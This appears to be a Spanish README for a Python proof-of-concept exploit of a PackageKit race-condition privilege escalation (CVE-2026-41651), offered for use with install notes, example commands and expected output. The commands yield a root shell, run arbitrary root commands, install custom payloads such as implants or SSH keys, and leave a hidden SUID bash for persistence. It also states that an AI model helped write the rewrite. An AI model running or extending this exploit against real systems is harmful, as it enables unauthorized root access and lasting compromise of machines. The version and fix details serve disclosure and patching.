
PoC en Python del exploit de escalada de privilegios local TOCTOU en PackageKit. Cualquier usuario local sin privilegios puede instalar paquetes arbitrarios como root sin autenticación.
| Campo | Valor |
|---|---|
| CVE | CVE-2026-41651 |
| Componente | daemon de PackageKit (packagekitd) |
| Versiones afectadas | 1.0.2 – 1.3.4 |
| Corregido en | 1.3.5 |
| Impacto | Escalada de privilegios local → root |
Esta herramienta se proporciona únicamente con fines educativos y de investigación de seguridad autorizada.
Sistema operativo vulnerable: Cualquier distribución de Linux que ejecute PackageKit >= 1.0.2 <= 1.3.4.
Limitación del PoC: el generador de paquetes integrado solo produce archivos
.deb, por lo que el script requiere un host Debian/Ubuntu para ejecutarse tal cual. En sistemas basados en RPM, proporcione un payload postinst personalizado mediante--payload-scripty asegúrese de quedpkg/dpkg-devesté disponible, o adapte el generador.
Python: 3.6+
Paquetes del sistema (Debian/Ubuntu):
sudo apt install python3-dbus python3-gi gir1.2-glib-2.0
Nota sobre dependencias:
python3-dbusypython3-gino son parte de la biblioteca estándar de Python, pero casi siempre ya están presentes en cualquier máquina que ejecute un entorno de escritorio gráfico (GNOME, KDE, XFCE, etc.), porque estos entornos dependen directamente de ellos. En una instalación estándar de Ubuntu Desktop, ambas bibliotecas están disponibles sin instalación manual. En un servidor mínimo sin GUI pueden faltar, por lo que en ese caso elapt installanterior requiere sudo, lo que contradice el contexto de LPE. En la práctica, cualquier máquina que ejecute PackageKit con una sesión de escritorio ya tendrá estas dependencias satisfechas.
gir1.2-glib-2.0proporciona los archivos typelib de GObject Introspection para GLib.python3-gies el motor de enlace de Python, pero necesita estos archivos typelib para saber cómo comunicarse con GLib específicamente. Sin este paquete,from gi.repository import GLibfalla incluso sipython3-giestá instalado. Ambos son instalados automáticamente por cualquier escritorio basado en GNOME.
Nota sobre el intento solo con stdlib: Una versión anterior de este PoC intentó eliminar estas dependencias por completo reemplazando las llamadas D-Bus con subprocesos
gdbus/dbus-send, y luego hablando el protocolo de cable D-Bus directamente sobre el socket Unix. Ambos enfoques no lograron disparar la condición de carrera TOCTOU de forma fiable: al lanzar procesos externos se introduce suficiente latencia entre las dos llamadasInstallFilescomo para que PackageKit procese el Paso 1 antes de que llegue el Paso 2, rompiendo la carrera. El bindingdbus-pythonenvía ambas llamadas fire-and-forget en el mismo socket ya abierto sin sobrecarga de fork, que es lo que hace que el tiempo funcione. La versión solo con stdlib se ha revertido por este motivo.
Verificar la versión de PackageKit (sin el PoC):
pkcon --version 2>/dev/null || dpkg -l packagekit | grep ^ii
usage: cve-2026-41651.py [-h] [--check] [--exec CMD]
[--payload-script FILE] [--suid-path PATH]
[--no-cleanup] [--timeout N] [--quiet]
Ejemplos:
# Check if the target is vulnerable (no exploit)
python3 cve-2026-41651.py --check
# Full exploit → interactive root shell
python3 cve-2026-41651.py
# Run a single command as root
python3 cve-2026-41651.py --exec "id"
# Custom payload (implant, SSH key injection…)
python3 cve-2026-41651.py --payload-script /tmp/hook.sh
# Keep the SUID bash after exit, custom path
python3 cve-2026-41651.py --suid-path /tmp/.mybash --no-cleanup
# Scriptable / fast mode
python3 cve-2026-41651.py --timeout 60 --quiet
Salida esperada:
═══════════════════════════════════════════════════
CVE-2026-41651 / PackageKit TOCTOU LPE
═══════════════════════════════════════════════════
[*] Building packages (pure Python)...
[+] dummy : /tmp/.pk-dummy-1337.deb
[+] payload : /tmp/.pk-payload-1337.deb
[*] Transaction : /1_acdcacbe
[*] Step 1 : InstallFiles(SIMULATE=0x4, dummy) [async]
[*] Step 2 : InstallFiles(NONE=0x0, payload) [async]
[*] Waiting for dispatch (30 s max)...
[!] PK error 48: Failed to obtain authentication.
[*] Finished (exit=2, 10 ms)
[*] Polling for payload (120 s max)...
[+] SUCCESS: SUID bash at t+200ms
uid=1001(victim) gid=1001(victim) euid=0(root) groups=1001(victim)
Basado en el PoC original en C de Vozec. Esta es una reescritura en Python para portabilidad. Todo el crédito por la técnica del exploit pertenece al autor original.
Reescritura en Python desarrollada con la asistencia de Claude (Anthropic).
| Flag | Descripción |
|---|
--check | Consulta la versión de PackageKit e informa de la vulnerabilidad, luego sale |
--exec CMD | Ejecuta un único comando como root en lugar de abrir un shell interactivo |
--payload-script FILE | Usa un script postinst personalizado en lugar del dropper SUID bash integrado |
--suid-path PATH | Dónde colocar el SUID bash (por defecto: /tmp/.suid_bash) |
--no-cleanup | Conservar el SUID bash después de que el shell salga |
--timeout N | Segundos de espera por sondeo del SUID bash (por defecto: 120) |
--quiet | Suprime la salida de progreso (para scripting) |